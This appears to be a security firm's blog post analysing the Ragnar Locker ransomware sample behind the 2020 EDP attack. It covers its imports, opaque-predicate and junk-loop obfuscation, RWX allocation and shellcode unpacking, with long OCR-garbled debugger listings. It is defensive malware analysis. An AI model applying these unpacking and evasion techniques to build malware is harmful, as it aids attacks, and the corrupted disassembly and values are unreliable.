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Introduction

On April 13th 2020, news broke out on Portuguese media [1] that Energias de Portugal
(EDP), the Portuguese multinational energy giant and one of the largest European operators
in energy & wind sectors, had been hit by a highly targeted ransomware attack (later
identified as Ragnar Locker [2]), amid COVID-19 pandemic, while the country had been
under state of emergency. The attackers behind the ransomware were, supposedly (although
not confirmed), demanding 1580 BTC (9.9 million EUR) by threatening to leak all of the
stolen data (10TB, according to the perpetrators themselves). It has since been considered
one of its worst cyber attacks.

As such, and as an information security consultancy company based in Porto, Portugal, we
have decided to take initiative in investigating the ransomware sample ourselves by getting
our hands dirty and going right down to its truth. We were specifically interested in
understanding how this ransomware was built, i.e., its technical details, its capabilities and
sophistication. The analysis and its end results are therefore presented in this blog post, in a
detailed fashion, for all the curious readers who wish to know more about the final
(destructive) part of the hack.

Analysis
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One of the very first steps an analyst should do when first interacting with a potentially
malicious executable is to perform basic static analysis on the PE, e.g., look at its PE
headers, sections, imports, strings, or any other information that can help him get an overall
general idea of what the binary might do or contain. In this particular case, when looking at
its imports, we can see several windows APIs which are commonly (ab)used by malware in
order to hide their deed. This includes (but not limited to) VirtualAlloc*(), LoadLibrary*() and
GetProcAddress(). Something weird that stood out when looking at the imports is the
existence of several APIs that are only needed for thread synchronization
(InitializeCriticalSectionAndSpinCount(), EnterCriticalSection(), LeaveCriticalSection() and
DeleteCriticalSection()), yet, there are no imported APls responsible for creating threads in
the first place, e.g., CreateThread().

Offset MNarme Func. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder MNarmeRVA FirstThunk
EDDO KERMEL32.dlI 80 FALSE EEOC 0 0 F104 EQOD
EDE4 USER32.dlI 2 FALSE EF30 0 0 F136 E144

KERMEL32.dll [ &0 entries ]

Call via Marme Ordinal Original Thunk  Thunk Forwarder Hint
E0C GetProcAddress - EFD2 EFD2 - 245
E020 GetCommandLined - EFE4 EFE4 - 186
ED24 LoadLibraryW = EFF6 EFF6 = 33F
E023 GetLastError - FOOG FOOG6 - 202
E02C DeleteCriticalSection = FO16 FO16 § D1
E030 LeaveCriticalSection - FOZE FOZE - 339
E034 EnterCriticalSection - FOd6 FO46 - EE
E038 InitializeCritical5ectionAndSpinC.. | - FO3E FO3E - 2E3
E03C GetCurrentProcess - F0a6 F026 - 1C0
E040 GetProcessHeap - FO94 FO94 - 244
EO44 Interlockedinerement - FOAC FOAC - 2EF
EQ43 Istrlend - FOC4 FOC4 - 54D
EQ4C GetVersionExA = FODO FODO = 243

Hex dumping our target shows several strings, of which some, after looking them up on
google, reveals pages related to malware and malware analysis services.
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0001a350:
0001a360:
0001a370:
0001a380:
0001a390:
0001a3ab:
0001a3b0:
0001a3cO:
0001a3d0O:
0001a3e0:
0001a3f0:
0001a400:
0001a410:
0001a420:
0001a430:
0001a440:
0001a450:
0001a460:
0001a470:
0001a480:
0001a490:
0001adab:
0001a4bo:
0001adcO:
0001a4do:
0001ade0:
0001a4f0o:
0001a500:
0001a510:
0001a520:
0001a530:
0001a540:
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Once a more in depth analysis takes place, it becomes quite clear that the ransomware is, in
some way, obfuscated. For example, and for demonstration purposes, the following image
displays a function that is called with the string
"EV_MMAC_OID_TERMINATE_CONNECTION" as argument, where the string is never
actually used for anything and an existing loop is never entered due to the result of the
comparison always leaving EFLAGS.ZF unset (opaque predicate).
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Empty
Empty
EmpLy
Empty
Empty
EMpTY
Empty
Empty

0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000

: [esp+4] 0041A440 "EV_MMAC_OID_TERMINATE_CONNECTION"

return to edp.00401B53 from edp.00401930
"EV_MMAC_OID_TERMINATE_CONNECTION"

00401930 5SS push ebp 5
0401931 8BEC mo\l; ebp,esp ol e
J0401933 B2EC 20 sub esp,20
10401936 FF15 OCEO4000 €all dword =&GetEnvironmentStringsws| Eg gg;zzggg EPEHEEETD
J040193C C745 F4 CC740000 [lnDV ebp-C§, 74CC ECX 00000000
0401943 8170 F4 BBOBI4FF cm
0040194A ~-75 45 Jne edp. 401991 EDX 00000022
0040194 C745 F8 955EC4F6 mov dword ptr ss:|lebp-3],F6C45E35 EEF  OOLIFEE4
¢|[ 00401953 BB45 F4 mov eax,dword ptr ss ESP  OOL3FC2C
& 00401956 0345 F8 add eax,dword ptr ss ESI 00000000
00401959 53945 03 mov dword ptr ss:|febp+sl,eax EDI 00404DBC <edp.EntryPoint>
#( 0040195C C745 EC 00000000 mov dword ptr ss:ffebp-14[,0
®| 00401963 ~| EB 09 jmp edp.<40196E EIP 00401920 edp. 00401930
#( DD401965 B8B4D EC mov ecx,dword ptr ss:[ebp-14]
# | 0D401968 B3C1 01 add ecx,1
00401968 894D EC mov dword ptr ebp-14, ecx EELSGSPF goozgzgz
D040196E 837D EC 05 cmp dword ptr ss:|febp-14,5 OF 0 SF o0 DF O
00401972 ~| 7D 1D jge edp.401991
¢/ 00401974 C745 FO F47C0000 mov dword ptr ss:|febp-100,7CF4 CFo TFO IF1
& | 00401978 BB4D FO mov ecx,dword ptr ss:|febp-10J
0040197E 83C1 01 add ecx,l LastError 00000000 (ERROR_SUCCESS)
& 00401981 BB4S F4 mov eax,dword ptr ss:[Jebp-C[ Laststatus COO000D08 (STATUS_INVALID_HANDLE)
®| 004019584 22 cdqg
®| 00401985 F7F2 idiv ecx G5 002B  FS 0053
®| o040198 BB55 F4 mov edx,dword ptr ss:lfebp-Cl ES 0O02E DS 002B
00401984 0300 add edx,eax CS 0023 SS 002B
& | 0040198C B35S F4 mov dword ptr ss:|febp-CfJ, edx
vel oointaat | “LEoent ==t :gg.:gssss ST(0) 00000000000000000000 X87r0
e 00401993 5D pop Ebpr 5T(1) 00000000000000000000 X87r1
00401994 oz == 5T(2) 00000000000000000000 X872
#| DDa01995 GG int3 5T(3) 00000000000000000000 X87r3
e[ 00401996 EE int3 5T(4) 00000000000000000000 X87r4
®| 00401997 (e int3 5T(5) 00000000000000000000 X87r5
® | 00401998 cC int3 5T(6) 00000000000000000000 X87r6
®| 00401999 cC intB 5T(7) 00000000000000000000 X87r7
® | 00401994 cC int3
o| cosoron| e i e
& ! X87TW_0 3 (Empt X87TW_1 3 (Empt
=|| Eei =D s JUIES vATTW 2 2 E:mﬁr?g vATTW 3 2 E:mﬂr%ﬂ
& | 0040199E [e]e int3 hd
Default (stdcall)
£ >
Jump is taken : [esp+8] 9FSEIDEC
edp. 004013991 3: [esp+C] A3A2A1A0
4: [Bsp+10] ATAGASA4
. Lext:0040194A edp.exe: $194A #194A
Womp1  @Woumpz  @pump3  @oumps  @oumps @ watch1  eliocals 4 Struct ma

The thread synchronization APIs mentioned earlier also take part of the obfuscation
(essentially junk code), where a loop is concluded after being executed 2000000 times,
performing useless arithmetic operations and calling a function which always returns 0 along

the way.

® | 00402124 FF15 28E04000
o C785 4BFEFFFF
A ~ EB OF
|| 0040213C 8B95 48FEFFFF
® || 00402142 83C2 01
o [ 00402145 8995 43FEFFFF
o [ 00402148 81BD 48FEFFFF
—=—=—=—=0 | 00402155 ~r0OF8D 05020000
® | 00402158 8D85 TBFEFFFF
00402161 50
00402162 FF15 34E04000
& || 00402168 C785 AOFDFFFF
. SBED AOFDFFFF
. 51
[ ] 8B95 AOFDFFFF
. 52
. BBBS AOFDFFFF
00402186 50
2187 E8 34F4FFFF
Eg— = 83c4 0C
® || 0040218F C785 A4FDFFFF
® | 00402199 8D8BD A4FDFFFF
® || 0D40219F 898D ASBFDFFFF
® || 0D4021A5 8B95 ABFDFFFF
® || 00402 1AB 8BO2
00402 1AD 0B85 AOFDFFFF
00402183 SBED AOFDFFFF
® | 00402189 0zCs
® | 004021BB 8B95 A4FDFFFF
® | 004021C1 OFAFDL
® | 004021C4 8995 A4FDFFFF
& || 004021CA Al F4A44100
|| 0D4021CF 8985 BOFDFFFF
00402105 SDED BOFDFFFF
004021DB
® | 004021DC FF15 48E14000
® || 0D4021EZ C785 9CFDFFFF
® | 004021EC ~| EB OF
& || 0D4021EE 8B95 9CFDFFFF
o [ 004021F4 83c2 01
o [ o04021F7 8995 SCFDFFFF
004021FD 832BD 9CFDFFFF
00402204 ~| OF8D D7000000
0040220A C785 94FDFFFF
8D85 94FDFFFF
8985 90FDFFFF
8BED 9SOFDFFFF
8B35 94FDFFFF
2B11
E 8995 BSFDFFFF
4 C785 ACFDFFFF
E 81BD ACFDFFFF
00402248 w| T4 44
0040224A €785 S4FDFFFF
00402254 8D85 94FDFFFF

m
w

DEl

68
AB4

3A¢

€all dword ptr ds:[<&InitializecriticalsectionandspinCounts>] | Hide FPU
mov dword ptr ss:|febp-1es],0
jmp edp.40214B
mov edx,dword ptr ss:|[febp-1E3]) Eﬁ gggggggg
dpechs ECX  00DDC7BL
mov dword ptr ss:|febp-1B8]J,edx s
cmp dword ptr ss:[ebp-1B3J,1E8430 EDX 00005733
joe edp. 402360 EBP  OO19FEE4
lea eax,dword ptr ss:|Jebp-135] ESP 0019FC28
push eax ESI 00000000
€8l dword ptr ds:[<@Rt1EnterCriticalSection=] EDI 00404DBC <edp. EntryPoint>
mov dword ptr ss:[febp-z&0f,E9
muvhecx,dwur‘d ptr ss:llebp-2600 EIP 0040218C edp. 0040218C
push ecx
lga\sfhegé;(dwurd ptr ss:llebp-2s0j EFLAGS 0o0ooozo4
mov eax,dword ptr ss:|[febp-zeo] ZH g [ g SE g
push eax aE
call edp.4015C0 CF O TFO IF1
add esp,C
mov dword ptr ss:[ebp-2sclll,FEALTEES LastError 00000000 {ERROR_SUCCESS)
lea ecx,dword ptr ss:|lebp-2scCl LastStatus CODO0OD0S8 (STATUS_INVALID_HANDLE)
mov dword ptr ss:|[ebp-258],ec
mov edx,dword ptr ss:|[febp-253] GS 0028 FS 0053
mov eax,dword ptr ds:[edx] ES 0028 DS 0O02B
or eax,dword ptr ss:[ebp-260f CS 0023 S5 002B
mov ecx,dword ptr ss:flebp-260]
add ecx,eax
o O e T oy T
imul edx,ecx (7 ek
mov dword ptr ss:[Jebp-zscl,edx ST(2) 00000000000000000000 X87r2 Empty 0.000000000000000000
mov eax,dword ptr ds: [41A4F4] ST(3) 00000000000000000000 X87r3 Empty 0.000000000000000000
mov dword ptr ss:[[ebp-250],eax ST(4) 00000000000000000000 X87r4 Empty 0.000000000000000000
lea ecx,dword ptr ss:llebp-2500 ST(5) 00000000000000000000 X875 EMpTY O0.000000000000000000
push ecx ST(6) 00000000000000000000 X87F6 EMpTy 0.000000000000000000
€311 dword ptr ds:[<&Charupperw:] ST(7) 00000000000000000000 x87r7 Empty O0.000000000000000000
mov dword ptr ss:|febp-z64],0
jmp edp.4021FD x87Tagword FFFF
o] :g;vf“‘”rd ptr ss:llebp-264] XarTio s (Empty)  xB7TW_1 3 (Empty)
mov dwur"d ptr ss:|ffebp-264],edx :g;m—i : Eéxpzyg i:;m—g : E:mpzy%
cmp dword ptr ss:febp-ze4],s — PLYy. - PLY.
joe edp.4022E1 X87TW_6 3 (Empty) X87TwW_7 3 (Empty)
mov dword ptr ss:|febp-z6Cf],FEDB
lea eax,dword ptr ss:[Jebp-Zz&C]) X87STAtusword 0000
mov dword ptr ss:[febp-z70f,eax X87SW_B 0 Xx87SW_C3 O XB87SW.C2 O
mov ecx,dword ptr ss:[febp-270] XB7SW_C1 0 XB7SW_CO 0 X87SW_ES 0O
mov edx,dword ptr ss:|[ebp-26C] x87SW_SF 0O xBTSW_P 0 xB7SW_U O
sub edx,dword ptr ds:[ecx] X87SW_0 0 x87SW_Z 0O XB7SW.D O
mov dword ptr ssillebp-248],edx x37SW_I 0 xBTSW_TOP O (STD=x87r0)
mov dword ptr ss:|febp-254],F4227EGS
cmp dword ptr ss:|febp-254,FO2DASAI Default (stdcall)
je edp.40228E 1: [esp+4] DODOC7BO
mov dword ptr ss:|febp-27C),CB3A 2: [esp+8] 0D000DDOOD
lea eax,dword ptr ss: w|[3: [esp+C] 9FSESDBC
- - i L4
oo e o o b PP C et P

The interesting parts, from a malware analysis point of view, will only take place once the
ransomware calls VirtualAllocEx() with PAGE_EXECUTE_READWRITE memory
permissions (flProtect). The allocation of pages with such memory permissions is highly

indicative that something interesting will be written into them that will later be treated as code
to be executed, possibly taking part on the unpacking process.



®| 004011F4 804D 54 lea ecx,dword ptr ss:|[febp-7C] ~ | wide EPU
®| 004011F7 894D EB mov dword ptr ss:|febp-15],ecx
& | DD4011FA 8B5S EB mov edx,dword ptr ss:|[febp-18]
& | 004011FD 8B45 90 mov eax:dwurd ptr = Eg EE;EZEEE
& | 00401200 0302 add eax,dword ptr d ECX 00001EDD
00401202 8B4D B84 mov ecx,dword ptr ss:
¢| 00401205 2BCE sub ecx,eax EDX UUDUUUEU
e | 00401207 894D 84 mov dword ptr ss:[febp-7clll,ecx EBP  O013FC2C
®| 0D401Z0A 8B55 8C mov edx,dword ptr ss:|Jebp-74] ESE 0019FBOC
*| 00401200 C1EZ 06 shl edx,6 ESI 00000000
00401210 52 push edx EDI 00404DBC <edp. EntryPoint>
00401211 Al 74A34100 mov eax,dword ptr ds:[41A374]
&) 00401216 50 push eax EIP 00401225 edp. 00401225
& | 00401217 8B4D E4 mov ecx,dword ptr ssi|febp-1Cl
e 00401214 DIEL shl ecx,1 EFLAGS 00000304
®| 0040121C 51 push ecx ZEO PF 1 AF O
00401210 8B55 98 mov edx,dword ptr ss:|febp-&s] OF 0 SF O DF O
®| 00401220 52 push edx p
22 8B45 AC mov eax,dword ptr ss:|febp-54] CFO TF1 IF1
50 push eax
E— FF15 04E04000 €all dword ptr ds:[<&virtualallocex>] LastError 00000000 (ERROR_SUCCESS)
8945 EC mov dword ptr = ebp-14],eax LasTSTatus CO0DDOOF (STATUS_NO_SUCH_FILE]
C745 80 442A0000 mov dword ptr = ebp-30f, 2A44 [ebp-80] :EntryPoint
817D 80 F7F296F4 cmp dword ptr ss:llebp-80fl,F436F2F7 [ebp-80] :EntryPoint GS 002B FS 0053
=== ~ 75 1F jne edp.40125D ES 002B [5 002B
i . €745 88 4E000000 mov dword ptr ss:ffebp-7s],4E 4E:'N' CS 0023 gS 002B
1 . 8B45 85 mov eax,dword ptr ss:llebp-7&l
! . t]n-uu"-t.: oc 56 or al,s6 v
i ] preseen e an oo e nle reined e e Bk o 5 Default (stdeall)
'
1:
dword ptr [0040E004 <edp.&VirtualAllocExx]=<kernel3z.virtualAllocEx> 2: esp14] 00000000
3: [esp+8] 0ODOL1EOQD
: [esp+C] 00003000
.text:00401225 edp.exe:$1225 #1225 ptcl
z FFFFFFFF
Woump1  @oump2  Woump3  @oumps  @Houmps @ watch1  ellecale 7 stk fOOTSREIT| 0DDODOOD
0019FE14 | DDOO1EOD
%‘::xuu 18 00(C0 2@ B2 77 (14 00 16 00 77IASCIJI\ W 8 -wl " || porses1s| oouozoon
o L P | P o o R e e e e | Posk eooo ] 0015FE1C| 00000040 | PAGE EXECUTE READWRITE

The following image demonstrates the algorithm being used by the ransomware, where it
starts decompressing/decrypting and writing shellcode into the new memory area.

®| 00401332 ~ EB 09 jmp edp.40133D

>e( 00401334 #8B55 A4 mov edx,dword ptr ss:llebp-scl

e | D0401 83Cz 01 add edx,1

e | Do401 8955 A4 mov dword ptr Hebp-5cf], edx

—e| 00201330 817D A4 COO30000 cmp dword ptr ss:|febp-scfl,zco

00401344 ~| OF82 BFOOOOOD jae edp.4013D9

®( 00401344 BE45 A4 mov eax,dword

®| 00401340 B8B4D B4 mov ecx,dword

#| 00401350 B8B1481 mov edx,dword

e| 00401353 8995 14FFFFFF mov dword ptr ss:|[febp-ecfl, edx
00401359 Al 50024100 mov eax,dword ptr ds:[410250]

®| DD40135E 8985 18FFFFFF mov dword ptr ss:|[febp-es],eax

& | 00401364 B8BSD 14FFFFFF mov ecx,dword ptr ss:|febp-eC]

| 00401364 2B4D A4 sub ecx,dword ptr ss:lfebp-SCll

®| 00401360 898D 14FFFFFF mov dword ptr ss:llebp-eclll,ecx

®| 00401 8B55 C4 mov edx,dword ptr ss:llebp-3cl
00401 C1E2 13 shl edx,13

& | DO40L 8955 C4 mov dword ptr ss:|febp-zCl,edx

& | 0040137C B8B85S 14FFFFFF mov eax,dword ptr ss:|febp-eC]

& | 004013582 3385 1BFFFFFF xor eax,dword ptr ss:ffebp-ES]

®| 00401388 8985 14FFFFFF mov dword ptr ss:llebp-£Cll,eax

#| D040138E B8B4D C4 mov ecx,dword ptr ss:illebp-3cl
00401391 81C1l 00001000 add ecx, 100000

e | 00401397 894D C4 mov dword ptr ss:|[febp-3c,ecx

& | DO40139A €185 14FFFFFF 07 rol dword ptr =ss:|febp-ecljl,7

& 00401341 8B45 C4 mov eax,dword ptr ssi|febp-3C

® | D04013A, 29 cdq

# | DO4013A 81E2 FFFFOFOO and edx,FFFFF
004013A] 03C2 add eax,edx

e | DD40134D CI1F8 14 sar eax,14

®| D04013EB0 8945 C4 mov dword ptr SS:[EhD 3CH, eax

s| 00201383 8B95 14FFFFFF mov edx,dword

& | D04013B9 3395 1BFFFFFF xor edx,dword ptr =

& 004013BF 8995 14FFFFFF mov dword ptr ss:[ehp EC]ll, edx
004013C5 B8B45 A4 mov eax,dword

#| D04013C8 B8B4D EC mov ecx,dword

®| D04013CE 8B35 14FFFFFF mov edx,dword ptr ss:|febp-eC])

EIP, 891481 mov dword ptr ds:[ecx+eax©4],edx

00401304| ~LE9 SBFFFFFF jmpl edp. 401334
00401309 €745 F4 91000000 mov dword ptr ss:[ehp = B 91
"nanasEn ooar ca s s ane A Wi

Hide FPU

EAX
EBX
ECX
EDX
EBP
ESP
ESI
EDI

EIP

EFLAGS
ZF 0O PF 1 AF O

00000000
003E6000
00020000
B1ECSBS55
00139FC2C
0019FB20
00000000
00404DBC

00401301

00000286

OF O SF 1 DF O
CF 0o TF O IF 1

<&EntryPoint>
<edp. EntryPoinT>

edp. 00401301

Lasterror

00000002 (ERROR_FILE_NOT_FOUND)

LastStatus CODOO0OF (STATUS_NO_SUCH_FILE)

GS D02B FS5 0053
ES 002B D5 002B
C5 0023 55 00ZB

00000000000
000000000001
000000000001
00000000000
000000000001

000000000
000000000
000000000
000000000
000000000

XB7ro
NBTrL
NBFr2
XB7r3
NBTr4

Empty
Empty
Empty
Empty
Empty

00000000000000000000
00000000000000000000

Default (stdcall)

XBTrE
XB7re

Empty
Empty

0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000
0. 000000000000000000

a:

esp+4] 00000000
esp+8] 003ESD00
esp+C] 00000000
esp+10] 00000000

When it is finished writing the shellcode, it will call GetModuleHandleW(L"kernel32") in order
to obtain the base address of kernel32.dll that is mapped in the current process address
space. It will then transfer control-flow into the new RWX memory area containing the newly
decrypted shellcode, passing the pointer to the retrieved kernel32.dll base address as
argument.
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| 00401420 BB4D D4 mov_ecx,dword ptr ssillebp-zCQ o
®| 00401423 OFAFCS imul ecx,eax | (TEE
®| 00401426 894D D4 mov dword ptr ss:lfebp-2CH,ecx
®| 00401423 63 DBA34100 push edp.41A3D8 41A3D3 Eg g‘;g:‘zggg
[E IP g 1 FF15 OODED4000 €all dword ptr ds:[<&cetModuleHandlews] ECX  73BC13E0
o[ D0401434 A3 80594100 mov_dword 41B8980] , 2ax
e | 0ns01439 €705 84894100 581141(MoOV OwoF 411158 (EIEE  FARFEER
e | 00401442 C705 B8E94100 189200{mov dword ptr 418988],9218 EBP  0013FC2C
® | D040144D B8B15 54 00 mov edx,dword ptr ds:[411154] ESE  0O019FB1C &L"kernalzz”
®| 00401453 8915 BC 00 mov dword ptr ds:[41B98C],edx ESI 00000000
#| 00401459 Al 7OAZ4108 mov eax,dword ptr ds:[41A370] EDI 00404DBC <edp. EntryPoint>
®| D040145E A3 90894100 mov dword ptr ds:[41B990],=ax
®| 00401463 C745 B3 00000000 mov dword ptr ss:|[febp-43f,0 EIP 0040142E edp. D040142E
e| 00401464 ~ EB 09 jmp edp.gouzs Beb .
0040146C 8B4D B3 mov ecx,dword ptr ss:lfebp-43
|| D040146F 83C1 01 add ecx,1 EEL’SGSPF 30022A83
®| 00401472 894D B3 mov dword ptr ss:[febp-45),ecx OF 1 SFO0 DEO
L——e| 00401475 837D B8 0L cmp dword ptr ss:[febp-4s],1
--—e| 00201479 ~ 7D 34 jge edp.4014AF CF1 TFO IF1
®| 00401478 C785 1OFFFFFF 680000( mov dword ptr ss:|ebp-FoJ,ss &8: "h'
e[ no401485 8095 10FFFFFF lea edx,dword ptr ss:[febp-rFof LastError 00000002 (ERROR_FILE_NOT_FOUND)
& | 00401488 8995 08FFFFFF mov dword ptr ssi|ebp-Fa],edx Laststatus COOD000F (STATUS_NO_SUCH_FILE)
®| 00401431 B8B85 08FFFFFF mov eax,dword ptr ssillebp-Fsl
®| 00401497 BBOS mov ecx,dword ptr ds:[eax GS 002B FS 0053
®| 00401499 2B8D 1OFFFFFF sub ecx,dword ptr iebp-Fof ES 0ODZE QS D0ZB
«| Do40149F 8B95 10FFFFFF mov edx,dword ptr ss:|febp-Fof €5 0023 55 D028
® | DO4014A5 03D1 add edx,ecx
|G| |, OB AT = g‘&“"’gogigcss- Lebp-Foll, edx ST(0) 0000000000000DDO0000 X87rD Empty 0.000000000000000000
e EE FD CEYETS) HiE s e L CATTET ST(1) 00000000000000000000 X87F1 EMPTY 0.000000000000000000
e/ 00401486 63 @os94ion Bush & 5T(2) 00000000000000000000 X87r2 Empty 0.000000000000000000
e| 0os0148E FF15 93893100 €all dword ptr ds:[418994] ST(3) 00000000000000000000 X87r3 Empty 0.000000000000000000
o| D04014C1 €745 94 0OODDOOO LA s 43 ey ey ST(4) 00000000000000000000 X87r4 Empty 0.000000000000000000
e| 004014cs| ~ EB 09 jmp edp.4014D3 ST(5) 00000000000000000000 X87F5 Empty 0.000000000000000000
s | D0s014CA 8B45 94 mov eax,dword ptr ss:|Jebp-sc] ST(6) 00000000000000000000 X87F6 EMPTY 0.000000000000000000
|| 004014CD 83C0 01 add eax,l =
®| 004014D0 8945 94 mov dword ptr ss:|Jebp-&cf],eax Default (stdcall)
L—>e| 004014D3 B37D 24 03 cmp dword ptr ss:febp-ec],z 1: [esp] D041A3D8 L"kernel3z"
----®( 004014D7( ~ 7D 38 jge edp.401511 2: [esp+4] 00404DBC <edp.ENTryPointTs
*| Dn4014D9 €745 AS FFO00000D mov dword ptr ss:|[febp-5s],FF v |3: [esp+a] oooooooo
o nnsniacn 700 naccccce pecTned mas dward nte ccsBahn ool conceToc 3 [eepic] 0D3FE000
< >
5 (PRI 0041A3D8 | =
WWoumpt  yoump2  @Hoump3  @loump4  @oumps @ watch1i  Ix=lLocals # struct DDQD gg:;ﬁggg tgfgﬂfliﬁm ht
0019FB24 | 00000000
gg:;::a o 00 00 00 0000 00 0D DO[00 00 OO nDIASCH ! *| 0o1are2s| a03EG000
_ETaLiE |70 e8) (T)) iealja) Ta) 28 @)ien @) (51 23| Fosgeecscscssce 00L3FEZC | DDODOOOD
0041B9A4| 00 00 00 DD‘FD 23 00 00|02 06 00 00|05 00 00 DD‘ Scocilcooccoooe | EEm | FRE s

At this point, execution of the shellcode takes place. The following image demonstrates its
initial instructions.

push ebp

= |
®| 00030001 8BEC mov ebp,esp "
& || 00030003 B1EC ECOOO000 sub esp,EC
® | 00030009 C685 GBFFFFFF 56 mov byte ptr ss:|lebp-238§,56 5G: "V'
& 00030010 C&85 G9FFFFFF &9 mov byte ptr ss:|jebp-37),69 69: "1
®| 00030017 C685 BAFFFFFF 72 mov byte ptr ss:febp-96 72t
®| ODO3001E CG685 GBFFFFFF 74 mov byte ptr ss: T4:'t"
& 00020025 C&85 GCFFFFFF 75 mov byte ptr ss: 75U’
® | 0003002C C685 BDFFFFFF 61 mov byte prtr ss: 61:'a’
®| 00030033 CG&85 GEFFFFFF B&C mov byte ptr ss: 6C: 1"
® | ODO3003A C685 GFFFFFFF 41 mov byte ptr ss: 41:"A"
& 00030041 C&85 FOFFFFFF &C mov byte ptr ss: &6C: "1’
®| 00030048 C685 71FFFFFF BC mov byte prtr ss: eC:'1"
® | ODO3004F CG&85 72FFFFFF &F mov byte ptr ss: 6F: "0’
& 00030056 C&85 73IFFFFFF &3 mov byte ptr ss: 63:'c’
® || 00030050 C685 T4FFFFFF 00 mov byte ptr ss:
®| 00030064 CG6B5 S4FFFFFF 47 mov byte ptr ss: 47:'G"
®| ODO3006E C685 SS5FFFFFF 65 mov byte ptr ss: 65:"e’
& 00030072 C&85 S6FFFFFF 74 mov byte ptr ss: 74t
®| 00030079 C685 S57FFFFFF 50 mov byte prtr ss: LT H
® | ODO30080 C6&85 S8FFFFFF 72 mov byte ptr ss: 72:'r"
& 00030087 C&85 S59FFFFFF &F mov byte ptr ss: G6F: "o’
® | 0O0O3008E C685 SAFFFFFF 63 mov byte prtr ss: 63:'c’
®| 00030095 C685 SBFFFFFF 41 mov byte ptr ss: 41:"A"
® | 0D03009C C685 SCFFFFFF 64 mov byte ptr ss: G64:'d"
& 000300A3 C&85 SDFFFFFF &4 mov byte ptr ss: G64: "d’
® || 00030044 C685 SEFFFFFF 72 mov byte prr ss: 7Fa:'r’
®| ODO300BL C685 SFFFFFFF 65 mov byte ptr ss: 65:"e’
& 000300BS C&85 GOFFFFFF 73 mov byte ptr ss: 73:'s’
® | O0DO300BF C685 B61FFFFFF 73 mov byte prr ss: 73:'s’
® | 000300CE C&B5 G2FFFFFF 00O mov byte ptr ss:
® | ODO300CD C645 BO 56 mov byte ptr ss: 5G: "V'
& 00030001 C&45 Bl &9 mov byte ptr ss: 69: "1
® | 000300D5 CG645 B2 72 mov byte prr ss: 7Fa:'r’
®| 00030009 CG645 B3 74 mov byte ptr ss: T4:'t"
& (| 000200DD CE45 B4 75 mov byte ptr ss: 75U’
®| O0O0300EL C645 BS5 61 mov byte prtr ss: 61:'a’
® | ODO300ES C645 BE 6C mov byte ptr ss: 6C: "1’
& 000300E9 C&45 BF 50 mov byte ptr ss: 50: "P°
& (| 000300ED CE45 BB 72 mov byte ptr ss: 72:'r"’
®| 0O0O0300F1 C645 B9 6F mov byte prtr ss: 6F: "o’
® | ODO300FS CG645 BA T4 mov byte ptr ss: T4:'t"
& 000200F9 CE45 BE &5 mov byte ptr ss: G65:'e’
® | 0O0O0300FD C645 BC 63 mov byte prtr ss: 63:'c’
®| 00030101 C645 BD 74 mov byte ptr ss: T4:'t"
®| 00030105 C&45 BE 00 mov byte ptr ss:
& 00030109 C&85 78FFFFFF 4C mov byte ptr ss: 4C: "L
®| 00030110 C685 7I9FFFFFF 6F mov byte prtr ss: 6F: "o’
®| 00030117 C685 7AFFFFFF 61 mov byte ptr ss: 61:"a"
& 0003011E C&85 7BFFFFFF &4 mov byte ptr ss: G64: "d’
®| 00030125 C685 FCFFFFFF 4C mov byte prtr ss: 4L
®| 0OD03012C CG&85 7DFFFFFF 69 mov byte ptr ss: 6a: "1
& 00030133 CE&85 FEFFFFFF &2 mov byte ptr ss: 62:"h'
& 00030134 C&85 7FFFFFFF 72 mov byte ptr ss: 72:'r"’ w
& || e A CRAL RN &1 mrss hastea ate soe 1 "a"
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As it can be seen from the above image, the shellcode starts by performing a series of MOV
r/m8, imm8 instructions that are being used to construct on the stack, one byte at a time,
strings representing names of Windows APIs. After it is done placing them on the stack, it
will call a subroutine passing, again, the base address of kernel32.dll and the string
"GetProcAddress" as argument.

. €685 3CFFFFFF 0O mov byte ptr ss:[febp-C4],0 ~ o
. C685 40FFFFFF 54 mov byte ptr . HIEE CAD
. C6B5 41FFFFFF 65 mov byte ptr
. CGB5 42FFFFFF 72 mov byte ptr Eﬁ ;g;ggggg (R R 7B e
. C685 43FFFFFF 6D mov byte ptr " “
= CEB5 44FFFFFF 69 mov byte ptr ECX D019FAGE ‘GetProcAddress
. C685 45FFFFFF GE mov byte ptr DN ST 530 edp. 00418380
. CE85 4BFFFFFF 61 mov byte ptr EBP  0019FB14
. CEB5 47FFFFFF 74 mov byte ptr ESE O0139FAZO
. C6B5 4BFFFFFF 65 mov byte ptr ESI 00000000
. C6B5 49FFFFFF 54 mov byte ptr EDI 00404DBC <edp. EntryPoint>
. C6B5 4AFFFFFF 68 mov byte ptr
. C6B5 4BFFFFFF 72 mov byte ptr EIP 00030278
. C6B5 4CFFFFFF 65 mov byte ptr
. €685 4DFFFFFF 61 mov byte ptr
. C685 4EFFFFFF 64 mov byte ptr EEL’:GSPF 200?\22;6
. C6BS 4FFFFFFF 00 mov byte ptr 0 OF0 SFO DFO
. €745 E4 00000000 mov dword ptr ss:llebp-1CHl,0
. 33C0 Xor eax,eax CERUIERO I G B
. 8945 EB mov dword ptr ss:|febp-13J,eax
. 8945 EC mowv [=bp-14],eax LastError 00000002 (ERROR_FILE_NOT_FOUND)
. 8945 FO mov febp-10d, eax Laststatus COODDOOF (STATUS_NO_SUCH_FILE)
. 8945 F4 mov Bebp-Cl, eax
. 8945 F8 mowv [ebp-5], eax GS D02B FS 0053
. 8945 FC mov :[febp-4fll, eax ES 00ZE DS 00ZB
. 8DBD S4FFFFFF lea ecx,dword ptr s51 [ebp ACH CS 0023 g5 0028
. 51 push ecx cx: "GetProcAddres:
- gggg o8 mov gg:ﬂ:g?g pg: = E:gg]” ST(0) 00000000000000D00000 XE7rD Empty 0.000000000000000000
= £5 Di=h¥eox P - ST({1) 00000000000000000000 X87rl Empty 0.000000000000000000
ro E8_ 42080000 €all 30AC0) ST(2) 00000000000000000000 X&7r2 Empty 0.000000000000000000
. 83C4 08 add esp,8
. 8945 88 mov dword ptr ss:[febp-7s],eax Defﬁult(shda\n
. 837D 88 00 cmp dword ptr ss:lfebp-73],0 esp] 75F30000 kerne'l':lz 75F80000
-e ~ 75 05 jne 3028E esp+4] D0D19FAGE "GetProcAddress™
